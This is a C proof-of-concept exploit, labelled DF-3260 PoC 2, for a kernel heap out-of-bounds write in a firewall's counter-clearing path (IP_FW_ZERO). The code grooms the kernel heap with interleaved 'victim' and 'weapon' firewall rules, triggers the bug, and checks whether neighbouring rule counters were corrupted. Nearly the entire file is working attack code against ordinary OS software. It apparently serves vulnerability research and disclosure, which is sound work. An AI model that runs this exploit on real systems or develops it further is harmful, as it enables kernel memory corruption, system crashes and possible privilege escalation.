/*
 * DF-3260 PoC 2 (v2) -- heap OOB WRITE via clear_counters()/IP_FW_ZERO.
 *
 * v2 lessons: interleave victim/weapon allocations so a weapon's
 * kmalloc-successor is always a victim; only use act_ofs candidates that
 * target the victim's rulenum byte (+20 == O_LOG=40) for the exact bucket
 * strides {96,112,128} -> A in {7,11,15}; log to a file with fflush so the
 * evidence survives a wedged guest.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define O_ACCEPT	43
#define O_COUNT		45

#define IP_FW_ADD	50
#define IP_FW_ZERO	53
#define IP_FW_GET	54

struct ioc_rule {
	uint16_t	act_ofs;
	uint16_t	cmd_len;
	uint16_t	rulenum;
	uint8_t		set;
	uint8_t		usr_flags;
	uint32_t	set_disable;
	uint32_t	static_count;
	uint32_t	static_len;
	uint64_t	pcnt;
	uint64_t	bcnt;
	uint32_t	timestamp;
	uint8_t		reserved[16];
	uint32_t	cmd[64];
};

#define INSN(op, len, arg1)	((op) | ((len) << 8) | ((arg1) << 16))

static FILE *out;

static int
add_rule(int s, uint16_t rulenum, uint16_t act_ofs, uint32_t op)
{
	struct ioc_rule r;
	memset(&r, 0, sizeof(r));
	r.rulenum = rulenum;
	r.cmd_len = 1;
	r.act_ofs = act_ofs;
	r.cmd[0] = INSN(op, 1, 0);
	return setsockopt(s, IPPROTO_IP, IP_FW_ADD, &r, 60 + 4);
}

static int
scan_victims(int s, uint64_t *hit, uint64_t *clean)
{
	static unsigned char buf[262144];
	socklen_t len = sizeof(buf);
	struct ioc_rule *rr;
	int nhit = 0;

	*hit = *clean = 0;
	if (getsockopt(s, IPPROTO_IP, IP_FW_GET, buf, &len) != 0)
		return -1;
	rr = (struct ioc_rule *)buf;
	while ((unsigned char *)rr < buf + len) {
		if (rr->rulenum == 40) {
			if (rr->pcnt > 0xffffffffULL) {
				if (nhit == 0)
					*hit = rr->pcnt;
				nhit++;
			} else if (*clean == 0) {
				*clean = rr->pcnt;
			}
		}
		rr = (struct ioc_rule *)((unsigned char *)rr + 60 +
		    rr->cmd_len * 4);
	}
	return nhit;
}

int
main(int argc, char **argv)
{
	int s, us, i, rc, rul, nhit;
	int A = argc > 1 ? atoi(argv[1]) : 7;
	int npairs = argc > 2 ? atoi(argv[2]) : 150;
	struct sockaddr_in dst;
	char pkt[32];
	uint64_t hit = 0, clean = 0;

	out = fopen("/root/poc/result.txt", "w");

	s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	if (s < 0) { perror("raw socket"); exit(1); }

	/* interleaved spray: victim(rulenum 40, count) then weapon(1000, A) */
	for (i = 0; i < npairs; i++) {
		if (add_rule(s, 40, 0, O_COUNT) != 0) {
			perror("add victim"); exit(1);
		}
		if (add_rule(s, 1000, A, O_ACCEPT) != 0) {
			perror("add weapon"); exit(1);
		}
	}
	fprintf(out, "[+] %d victim/weapon pairs installed (A=%d)\n",
	    npairs, A);
	fflush(out);

	us = socket(AF_INET, SOCK_DGRAM, 0);
	memset(&dst, 0, sizeof(dst));
	dst.sin_family = AF_INET;
	dst.sin_port = htons(9);
	dst.sin_addr.s_addr = inet_addr("127.0.0.1");
	for (i = 0; i < 100; i++)
		sendto(us, pkt, sizeof(pkt), 0, (struct sockaddr *)&dst,
		    sizeof(dst));
	close(us);
	sleep(1);

	nhit = scan_victims(s, &hit, &clean);
	fprintf(out, "[+] baseline: nhit=%d clean_pcnt=%llu\n",
	    nhit, (unsigned long long)clean);
	fflush(out);

	rul = 1000;
	rc = setsockopt(s, IPPROTO_IP, IP_FW_ZERO, &rul, sizeof(rul));
	fprintf(out, "[+] IP_FW_ZERO(1000) rc=%d\n", rc);
	fflush(out);

	nhit = scan_victims(s, &hit, &clean);
	fprintf(out, "[+] after: nhit=%d clean_pcnt=%llu hit_pcnt=0x%016llx\n",
	    nhit, (unsigned long long)clean, (unsigned long long)hit);
	fflush(out);

	if (nhit > 0) {
		fprintf(out, "[!!] OOB WRITE CONFIRMED: %d victim pcnt "
		    "mutated to 0x%016llx (clean victims: %llu)\n",
		    nhit, (unsigned long long)hit,
		    (unsigned long long)clean);
		printf("OOB-WRITE-CONFIRMED nhit=%d pcnt=0x%016llx\n",
		    nhit, (unsigned long long)hit);
	} else {
		fprintf(out, "[-] no mutation with A=%d\n", A);
		printf("no-mutation A=%d\n", A);
	}
	fclose(out);
	return nhit ? 0 : 2;
}
